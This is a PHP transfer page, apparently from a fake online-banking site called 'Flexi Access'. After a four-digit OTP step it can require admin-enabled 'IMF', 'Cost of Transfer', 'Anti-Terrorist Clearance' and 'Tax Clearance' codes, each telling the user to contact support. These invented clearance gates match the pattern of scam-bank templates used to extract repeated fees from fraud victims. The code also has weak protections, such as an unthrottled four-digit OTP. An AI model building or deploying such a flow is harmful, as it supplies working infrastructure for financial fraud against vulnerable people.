<?php
require_once 'functions.php';
requireAuth();

$user = getCurrentUser();
$db = getDB();

// Get active security settings
$settings = [];
$result = $db->query("SELECT setting_key, setting_value FROM settings WHERE setting_key LIKE 'default_%'");
while ($row = $result->fetch_assoc()) {
    $settings[$row['setting_key']] = $row['setting_value'];
}

// Check KYC status
if ($user['kyc_status'] !== 'verified') {
    setFlash('Please complete your KYC verification before making transfers.', 'warning');
    header('Location: kyc.php');
    exit();
}

$step = $_GET['step'] ?? '1';
$error = '';
$transferData = $_SESSION['transfer_data'] ?? [];
        
// Step 1: Transfer Details
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === '1') {
    $transferType = $_POST['transfer_type'] ?? 'local';
    $beneficiaryName = trim($_POST['beneficiary_name'] ?? '');
    $beneficiaryAccount = trim($_POST['beneficiary_account'] ?? '');
    $beneficiaryBank = trim($_POST['beneficiary_bank'] ?? '');
    $beneficiaryBankCode = trim($_POST['beneficiary_bank_code'] ?? '');
    $beneficiarySwift = trim($_POST['beneficiary_swift'] ?? '');
    $beneficiaryIban = trim($_POST['beneficiary_iban'] ?? '');
    $beneficiaryRouting = trim($_POST['beneficiary_routing'] ?? '');
    $beneficiaryCountry = trim($_POST['beneficiary_country'] ?? '');
    $amount = floatval($_POST['amount'] ?? 0);
    $description = trim($_POST['description'] ?? '');
    
    $maxLimit = floatval($user['transfer_limit_single'] ?? 5000.00);

    if (empty($beneficiaryName) || empty($beneficiaryAccount) || empty($amount)) {
        $error = 'Please fill in all required fields.';
    } elseif ($amount <= 0) {
        $error = 'Please enter a valid amount.';
    } elseif ($amount > $user['available_balance']) {
        $error = 'Insufficient available balance.';
    } elseif ($amount > $maxLimit) {
        $error = 'Amount exceeds single transfer limit of ' . formatCurrency($maxLimit);
    } else {
        // Save transfer data
        $_SESSION['transfer_data'] = [
            'transfer_type' => $transferType,
            'beneficiary_name' => $beneficiaryName,
            'beneficiary_account' => $beneficiaryAccount,
            'beneficiary_bank' => $transferType === 'internal' ? SITE_NAME : $beneficiaryBank,
            'beneficiary_bank_code' => $beneficiaryBankCode,
            'beneficiary_swift' => $beneficiarySwift,
            'beneficiary_iban' => $beneficiaryIban,
            'beneficiary_routing' => $beneficiaryRouting,
            'beneficiary_country' => $beneficiaryCountry,
            'amount' => $amount,
            'description' => $description,
        ];
        
        // Determine next step based on security gates
        $nextStep = 'review';
        
        // Check which gates are enabled
        if ($user['enable_otp'] ?? true) {
            $nextStep = 'otp';
        } elseif ($user['enable_imf'] ?? false) {
            $nextStep = 'imf';
        } elseif ($user['enable_cot'] ?? false) {
            $nextStep = 'cot';
        } elseif ($user['enable_anti_terrorist'] ?? false) {
            $nextStep = 'atc';
        } elseif ($user['enable_tax_clearance'] ?? false) {
            $nextStep = 'txc';
        }
        
        // Generate OTP if needed
        if ($nextStep === 'otp') {
            $_SESSION['transfer_otp'] = generateOTP();
            $otpBody = "Your Flexi Access transfer verification code is: <strong>" . $_SESSION['transfer_otp'] . "</strong><br><br>Amount: " . formatCurrency($amount) . "<br>To: " . e($beneficiaryName) . "<br><br>If you did not initiate this transfer, please contact support immediately.";
            @sendMail($user['email'], 'Transfer Verification Code', $otpBody);
        }
        
        header('Location: transfer.php?step=' . $nextStep);
        exit();
    }
}

// Step OTP: Verify OTP
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'otp') {
    $enteredOTP = ($_POST['otp1'] ?? '') . ($_POST['otp2'] ?? '') . ($_POST['otp3'] ?? '') . ($_POST['otp4'] ?? '');
    
    if ($enteredOTP === ($_SESSION['transfer_otp'] ?? '')) {
        unset($_SESSION['transfer_otp']);
        
        // Check next gate
        $nextStep = 'review';
        if ($user['enable_imf'] ?? false) {
            $nextStep = 'imf';
        } elseif ($user['enable_cot'] ?? false) {
            $nextStep = 'cot';
        } elseif ($user['enable_anti_terrorist'] ?? false) {
            $nextStep = 'atc';
        } elseif ($user['enable_tax_clearance'] ?? false) {
            $nextStep = 'txc';
        }
        
        header('Location: transfer.php?step=' . $nextStep);
        exit();
    } else {
        $error = 'Invalid verification code. Please try again.';
    }
}

// Step IMF: Verify IMF Code
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'imf') {
    $enteredIMF = trim($_POST['imf_code'] ?? '');
    
    if (empty($user['imf_code']) || $enteredIMF === $user['imf_code']) {
        $nextStep = 'review';
        if ($user['enable_cot'] ?? false) {
            $nextStep = 'cot';
        } elseif ($user['enable_anti_terrorist'] ?? false) {
            $nextStep = 'atc';
        } elseif ($user['enable_tax_clearance'] ?? false) {
            $nextStep = 'txc';
        }
        header('Location: transfer.php?step=' . $nextStep);
        exit();
    } else {
        $error = 'Invalid IMF (International Monetary Fund) code. Please contact support.';
    }
}

// Step COT: Verify COT Code
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'cot') {
    $enteredCOT = trim($_POST['cot_code'] ?? '');
    
    if (empty($user['cot_code']) || $enteredCOT === $user['cot_code']) {
        $nextStep = 'review';
        if ($user['enable_anti_terrorist'] ?? false) {
            $nextStep = 'atc';
        } elseif ($user['enable_tax_clearance'] ?? false) {
            $nextStep = 'txc';
        }
        header('Location: transfer.php?step=' . $nextStep);
        exit();
    } else {
        $error = 'Invalid COT (Cost of Transfer) code. Please contact support.';
    }
}

// Step ATC: Verify Anti-Terrorist Code
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'atc') {
    $enteredATC = trim($_POST['atc_code'] ?? '');
    
    if (empty($user['anti_terrorist_code']) || $enteredATC === $user['anti_terrorist_code']) {
        $nextStep = 'review';
        if ($user['enable_tax_clearance'] ?? false) {
            $nextStep = 'txc';
        }
        header('Location: transfer.php?step=' . $nextStep);
        exit();
    } else {
        $error = 'Invalid Anti-Terrorist Clearance code. Please contact support.';
    }
}

// Step TXC: Verify Tax Clearance Code
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'txc') {
    $enteredTXC = trim($_POST['txc_code'] ?? '');
    
    if (empty($user['tax_clearance_code']) || $enteredTXC === $user['tax_clearance_code']) {
        header('Location: transfer.php?step=review');
        exit();
    } else {
        $error = 'Invalid Tax Clearance code. Please contact support.';
    }
}

// Step Review: Confirm and submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $step === 'review') {
    $data = $_SESSION['transfer_data'] ?? null;
    if (!$data) {
        header('Location: transfer.php');
        exit();
    }
    // Verify PIN
    $enteredPin = ($_POST['pin1'] ?? '') . ($_POST['pin2'] ?? '') . ($_POST['pin3'] ?? '') . ($_POST['pin4'] ?? '');
    
    if (!password_verify($enteredPin, $user['pin'] ?? '')) { 
        $error = 'Invalid transaction PIN.';
    } else {
        // Create transaction record
        $ref = generateReference();
        $fee = $data['transfer_type'] === 'international' ? TRANSFER_FEE_INTERNATIONAL : TRANSFER_FEE_LOCAL;
        $totalAmount = $data['amount'] + $fee;
        
        $txData = [
            'user_id' => $user['id'],
            'transaction_type' => 'transfer',
            'amount' => $data['amount'],
            'currency' => CURRENCY,
            'description' => $data['description'] ?: 'Transfer to ' . $data['beneficiary_name'],
            'reference_number' => $ref,
            'beneficiary_name' => $data['beneficiary_name'],
            'beneficiary_account' => $data['beneficiary_account'],
            'beneficiary_bank' => $data['beneficiary_bank'],
            'beneficiary_bank_code' => $data['beneficiary_bank_code'],
            'beneficiary_swift' => $data['beneficiary_swift'],
            'beneficiary_iban' => $data['beneficiary_iban'],
            'beneficiary_routing' => $data['beneficiary_routing'],
            'beneficiary_country' => $data['beneficiary_country'],
            'transfer_type' => $data['transfer_type'],
            'transfer_mode' => $data['transfer_type'] === 'international' ? 'swift' : 'wire',
            'require_imf' => ($user['enable_imf'] ?? false) ? 1 : 0,
            'require_cot' => ($user['enable_cot'] ?? false) ? 1 : 0,
            'require_otp' => ($user['enable_otp'] ?? true) ? 1 : 0,
            'ip_address' => $_SERVER['REMOTE_ADDR'],
        ];
        
        $txId = createTransaction($txData);
        
        // Update user balance
        $newBalance = $user['available_balance'] - $totalAmount;
        $stmt = $db->prepare("UPDATE users SET available_balance = ?, account_balance = ? WHERE id = ?");
        $stmt->bind_param('ddi', $newBalance, $newBalance, $user['id']);
        $stmt->execute();
        
        // Create fee transaction if applicable
        if ($fee > 0) {
            $feeRef = generateReference();
            $feeData = $txData;
            $feeData['reference_number'] = $feeRef;
            $feeData['amount'] = $fee;
            $feeData['transaction_type'] = 'fee';
            $feeData['description'] = 'Transfer fee - ' . $ref;
            createTransaction($feeData);
        }
        
        // Create notification
        createNotification($user['id'], 'Transfer Initiated', 
            'Your transfer of ' . formatCurrency($data['amount']) . ' to ' . $data['beneficiary_name'] . ' has been initiated. Reference: ' . $ref,
            'transaction', $txId, 'transaction'
        );
        
        // Clear transfer data
        unset($_SESSION['transfer_data']);
        
        setFlash('Transfer initiated successfully! Reference: ' . $ref, 'success');
        header('Location: transactions.php');
        exit();
    }
}

// Get banks list for dropdown
$banks = getAllBanks();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Transfer Funds - <?php echo SITE_NAME; ?></title>
    <link rel="stylesheet" href="assets/css/style.css">
    <style>
        .transfer-steps {
            display: flex;
            justify-content: center;
            gap: 40px;
            margin-bottom: 32px;
            position: relative;
        }
        .transfer-steps::before {
            content: '';
            position: absolute;
            top: 16px;
            left: 20%;
            right: 20%;
            height: 2px;
            background: var(--gray-200);
        }
        .t-step {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 8px;
            position: relative;
            z-index: 1;
        }
        .t-step-num {
            width: 36px;
            height: 36px;
            border-radius: 50%;
            background: var(--gray-200);
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: 700;
            font-size: 14px;
            color: var(--gray);
        }
        .t-step.active .t-step-num {
            background: var(--primary);
            color: var(--white);
        }
        .t-step.completed .t-step-num {
            background: var(--success);
            color: var(--white);
        }
        .t-step-label {
            font-size: 12px;
            font-weight: 600;
            color: var(--gray);
        }
        .t-step.active .t-step-label {
            color: var(--primary);
        }
        .gate-icon {
            width: 64px;
            height: 64px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 28px;
        }
    </style>
</head>
<body>
    <?php include 'includes/client-sidebar.php'; ?>
    
    <div class="main-content">
        <?php include 'includes/client-header.php'; ?>
        
        <div class="page-content">
            <?php if ($error): ?>
                <div class="alert alert-danger fade-in">
                    <span>⚠</span> <?php echo e($error); ?>
                </div>
            <?php endif; ?>
            
            <?php if ($step === '1'): ?>
            <div class="card">
                <div class="card-header">
                    <span class="card-title">New Transfer</span>
                </div>
                <div class="card-body">
                    <form method="POST" action="?step=1" id="transferForm">
                        <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                            <div class="form-group">
                                <label class="form-label">Transfer Type *</label>
                                <select name="transfer_type" id="transferType" class="form-control" required onchange="toggleTransferFields()">
                                    <option value="local">Local Transfer</option>
                                    <option value="international">International Transfer</option>
                                    <option value="internal">Internal Transfer</option>
                                </select>
                            </div>
                            
                            <div class="form-group">
                                <label class="form-label">Amount (<?php echo CURRENCY; ?>) *</label>
                                <input type="number" name="amount" class="form-control" step="0.01" min="1" max="<?php echo $user['available_balance']; ?>" required placeholder="0.00">
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">Beneficiary Name *</label>
                            <input type="text" name="beneficiary_name" class="form-control" required placeholder="Full name of beneficiary">
                        </div>
                        
                        <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                            <div class="form-group">
                                <label class="form-label">Account Number *</label>
                                <input type="text" name="beneficiary_account" class="form-control" required placeholder="Beneficiary account number">
                            </div>
                            
                            <div class="form-group" id="bankField">
                                <label class="form-label">Bank Name *</label>
                                <input type="text" id="beneficiaryBankInput" name="beneficiary_bank" class="form-control" required placeholder="Enter bank name">
                            </div>
                        </div>
                        
                        <div id="intlFields" style="display: none;">
                            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                                <div class="form-group">
                                    <label class="form-label">SWIFT/BIC Code</label>
                                    <input type="text" name="beneficiary_swift" class="form-control" placeholder="e.g., CHASUS33">
                                </div>
                                <div class="form-group">
                                    <label class="form-label">IBAN</label>
                                    <input type="text" name="beneficiary_iban" class="form-control" placeholder="IBAN number">
                                </div>
                            </div>
                            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                                <div class="form-group">
                                    <label class="form-label">Routing Number</label>
                                    <input type="text" name="beneficiary_routing" class="form-control" placeholder="Routing number">
                                </div>
                                <div class="form-group">
                                    <label class="form-label">Country</label>
                                    <input type="text" name="beneficiary_country" class="form-control" placeholder="Country">
                                </div>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">Description</label>
                            <textarea name="description" class="form-control" rows="2" placeholder="Optional transfer description"></textarea>
                        </div>
                      
                        <div style="background: var(--gray-50); border-radius: var(--border-radius); padding: 16px; margin-bottom: 20px;">
                            <div style="display: flex; justify-content: space-between; font-size: 13px; margin-bottom: 8px;">
                                <span style="color: var(--gray);">Available Balance</span>
                                <span style="font-weight: 700;"><?php echo formatCurrency($user['available_balance'] ?? 0); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; font-size: 13px; margin-bottom: 8px;">
                                <span style="color: var(--gray);">Daily Transfer Limit</span>
                                <span style="font-weight: 700;"><?php echo formatCurrency($user['transfer_limit_daily'] ?? 0); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; font-size: 13px;">
                                <span style="color: var(--gray);">Single Transfer Limit</span>
                                <span style="font-weight: 700;"><?php echo formatCurrency($user['transfer_limit_single'] ?? 5000.00); ?></span>
                            </div>
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-lg" style="width: 100%;">
                            Continue to Verification →
                        </button>
                    </form>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'otp'): ?>
            <div class="card" style="max-width: 480px; margin: 0 auto;">
                <div class="card-body" style="text-align: center; padding: 40px;">
                    <div class="gate-icon" style="background: var(--primary-light); color: var(--primary);">🔐</div>
                    <h3 style="font-size: 20px; font-weight: 700; margin-bottom: 8px;">OTP Verification</h3>
                    <p style="color: var(--gray); font-size: 14px; margin-bottom: 24px;">
                        Enter the 4-digit code sent to<br><strong><?php echo e($user['email']); ?></strong>
                    </p>
                    
                    <form method="POST" action="?step=otp">
                        <div class="pin-inputs" style="margin-bottom: 24px;">
                            <input type="text" name="otp1" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required autofocus>
                            <input type="text" name="otp2" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                            <input type="text" name="otp3" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                            <input type="text" name="otp4" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-block" style="margin-bottom: 16px;">
                            Verify Code
                        </button>
                    </form>
                    
                    <p style="font-size: 13px; color: var(--gray);">
                        Didn't receive? <a href="?step=otp&resend=1" style="color: var(--primary); font-weight: 600;">Resend Code</a>
                    </p>
                    <a href="transfer.php" style="display: inline-block; margin-top: 12px; font-size: 13px; color: var(--gray);">
                        ← Cancel Transfer
                    </a>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'imf'): ?>
            <div class="card" style="max-width: 480px; margin: 0 auto;">
                <div class="card-body" style="text-align: center; padding: 40px;">
                    <div class="gate-icon" style="background: var(--warning-light); color: var(--warning);">🌍</div>
                    <h3 style="font-size: 20px; font-weight: 700; margin-bottom: 8px;">IMF Verification</h3>
                    <p style="color: var(--gray); font-size: 14px; margin-bottom: 24px;">
                        International Monetary Fund clearance is required for this transfer.<br>
                        Please enter your IMF code below.
                    </p>
                    
                    <form method="POST" action="?step=imf">
                        <div class="form-group" style="text-align: left;">
                            <label class="form-label">IMF Code</label>
                            <input type="text" name="imf_code" class="form-control" placeholder="Enter IMF code" required style="text-align: center; font-size: 18px; letter-spacing: 4px;">
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-block" style="margin-bottom: 16px;">
                            Verify IMF Code
                        </button>
                    </form>
                    
                    <a href="transfer.php" style="display: inline-block; font-size: 13px; color: var(--gray);">
                        ← Cancel Transfer
                    </a>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'cot'): ?>
            <div class="card" style="max-width: 480px; margin: 0 auto;">
                <div class="card-body" style="text-align: center; padding: 40px;">
                    <div class="gate-icon" style="background: var(--info-light); color: var(--info);">💱</div>
                    <h3 style="font-size: 20px; font-weight: 700; margin-bottom: 8px;">COT Verification</h3>
                    <p style="color: var(--gray); font-size: 14px; margin-bottom: 24px;">
                        Cost of Transfer verification is required.<br>
                        Please enter your COT code below.
                    </p>
                    
                    <form method="POST" action="?step=cot">
                        <div class="form-group" style="text-align: left;">
                            <label class="form-label">COT Code</label>
                            <input type="text" name="cot_code" class="form-control" placeholder="Enter COT code" required style="text-align: center; font-size: 18px; letter-spacing: 4px;">
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-block" style="margin-bottom: 16px;">
                            Verify COT Code
                        </button>
                    </form>
                    
                    <a href="transfer.php" style="display: inline-block; font-size: 13px; color: var(--gray);">
                        ← Cancel Transfer
                    </a>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'atc'): ?>
            <div class="card" style="max-width: 480px; margin: 0 auto;">
                <div class="card-body" style="text-align: center; padding: 40px;">
                    <div class="gate-icon" style="background: var(--danger-light); color: var(--danger);">🛡️</div>
                    <h3 style="font-size: 20px; font-weight: 700; margin-bottom: 8px;">Anti-Terrorist Clearance</h3>
                    <p style="color: var(--gray); font-size: 14px; margin-bottom: 24px;">
                        Anti-terrorist clearance verification is required.<br>
                        Please enter your clearance code below.
                    </p>
                    
                    <form method="POST" action="?step=atc">
                        <div class="form-group" style="text-align: left;">
                            <label class="form-label">Anti-Terrorist Code</label>
                            <input type="text" name="atc_code" class="form-control" placeholder="Enter ATC code" required style="text-align: center; font-size: 18px; letter-spacing: 4px;">
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-block" style="margin-bottom: 16px;">
                            Verify Code
                        </button>
                    </form>
                    
                    <a href="transfer.php" style="display: inline-block; font-size: 13px; color: var(--gray);">
                        ← Cancel Transfer
                    </a>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'txc'): ?>
            <div class="card" style="max-width: 480px; margin: 0 auto;">
                <div class="card-body" style="text-align: center; padding: 40px;">
                    <div class="gate-icon" style="background: var(--success-light); color: var(--success);">📋</div>
                    <h3 style="font-size: 20px; font-weight: 700; margin-bottom: 8px;">Tax Clearance</h3>
                    <p style="color: var(--gray); font-size: 14px; margin-bottom: 24px;">
                        Tax clearance verification is required.<br>
                        Please enter your tax clearance code below.
                    </p>
                    
                    <form method="POST" action="?step=txc">
                        <div class="form-group" style="text-align: left;">
                            <label class="form-label">Tax Clearance Code</label>
                            <input type="text" name="txc_code" class="form-control" placeholder="Enter TXC code" required style="text-align: center; font-size: 18px; letter-spacing: 4px;">
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-block" style="margin-bottom: 16px;">
                            Verify Code
                        </button>
                    </form>
                    
                    <a href="transfer.php" style="display: inline-block; font-size: 13px; color: var(--gray);">
                        ← Cancel Transfer
                    </a>
                </div>
            </div>
            <?php endif; ?>
            
            <?php if ($step === 'review'): 
                $data = $_SESSION['transfer_data'] ?? null;
                if (!$data) { header('Location: transfer.php'); exit(); }
                $fee = $data['transfer_type'] === 'international' ? TRANSFER_FEE_INTERNATIONAL : TRANSFER_FEE_LOCAL;
                $total = $data['amount'] + $fee;
            ?>
            <div class="card" style="max-width: 560px; margin: 0 auto;">
                <div class="card-header">
                    <span class="card-title">Review Transfer</span>
                </div>
                <div class="card-body">
                    <div style="background: var(--gray-50); border-radius: var(--border-radius); padding: 20px; margin-bottom: 24px;">
                        <h4 style="font-size: 14px; font-weight: 700; margin-bottom: 16px; text-transform: uppercase; color: var(--gray);">Transfer Details</h4>
                        
                        <div style="display: flex; justify-content: space-between; margin-bottom: 12px; font-size: 14px;">
                            <span style="color: var(--gray);">Transfer Type</span>
                            <span style="font-weight: 600;"><?php echo ucfirst(e($data['transfer_type'])); ?></span>
                        </div>
                        <div style="display: flex; justify-content: space-between; margin-bottom: 12px; font-size: 14px;">
                            <span style="color: var(--gray);">Beneficiary</span>
                            <span style="font-weight: 600;"><?php echo e($data['beneficiary_name']); ?></span>
                        </div>
                        <div style="display: flex; justify-content: space-between; margin-bottom: 12px; font-size: 14px;">
                            <span style="color: var(--gray);">Account Number</span>
                            <span style="font-weight: 600; font-family: monospace;"><?php echo e($data['beneficiary_account']); ?></span>
                        </div>
                        <?php if ($data['beneficiary_bank']): ?>
                        <div style="display: flex; justify-content: space-between; margin-bottom: 12px; font-size: 14px;">
                            <span style="color: var(--gray);">Bank</span>
                            <span style="font-weight: 600;"><?php echo e($data['beneficiary_bank']); ?></span>
                        </div>
                        <?php endif; ?>
                        <div style="display: flex; justify-content: space-between; margin-bottom: 12px; font-size: 14px;">
                            <span style="color: var(--gray);">Description</span>
                            <span style="font-weight: 600;"><?php echo e($data['description'] ?: '-'); ?></span>
                        </div>
                        
                        <div style="border-top: 1px solid var(--gray-200); margin-top: 16px; padding-top: 16px;">
                            <div style="display: flex; justify-content: space-between; margin-bottom: 8px; font-size: 14px;">
                                <span style="color: var(--gray);">Amount</span>
                                <span style="font-weight: 700;"><?php echo formatCurrency($data['amount']); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; margin-bottom: 8px; font-size: 14px;">
                                <span style="color: var(--gray);">Transfer Fee</span>
                                <span style="font-weight: 600;"><?php echo formatCurrency($fee); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; font-size: 16px; font-weight: 700; color: var(--primary);">
                                <span>Total</span>
                                <span><?php echo formatCurrency($total); ?></span>
                            </div>
                        </div>
                    </div>
                    
                    <form method="POST" action="?step=review">
                        <p style="text-align: center; margin-bottom: 16px; font-size: 14px; color: var(--gray);">Enter your 4-digit transaction PIN to confirm</p>
                        
                        <div class="pin-inputs" style="margin-bottom: 24px;">
                            <input type="password" name="pin1" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required autofocus>
                            <input type="password" name="pin2" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                            <input type="password" name="pin3" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                            <input type="password" name="pin4" class="pin-input" maxlength="1" pattern="[0-9]" inputmode="numeric" required>
                        </div>
                        
                        <div style="display: flex; gap: 12px;">
                            <a href="transfer.php" class="btn btn-secondary" style="flex: 1;">Cancel</a>
                            <button type="submit" class="btn btn-primary" style="flex: 2;">Confirm Transfer</button>
                        </div>
                    </form>
                </div>
            </div>
            <?php endif; ?>
        </div>
    </div>
    
    <script src="assets/js/main.js"></script>
    <script>
    function toggleTransferFields() {
        const type = document.getElementById('transferType').value;
        const intlFields = document.getElementById('intlFields');
        const bankField = document.getElementById('bankField');
        const bankInput = document.getElementById('beneficiaryBankInput');
        
        // International fields visibility
        intlFields.style.display = (type === 'international') ? 'grid' : 'none';
        
        // Hide Bank Name for internal transfers
        if (type === 'internal') {
            bankField.style.display = 'none';
            bankInput.removeAttribute('required');
        } else {
            bankField.style.display = 'block';
            bankInput.setAttribute('required', 'required');
        }
    }
    // Initialize state on page load
    window.addEventListener('DOMContentLoaded', toggleTransferFields);
</script>
</body>
</html>
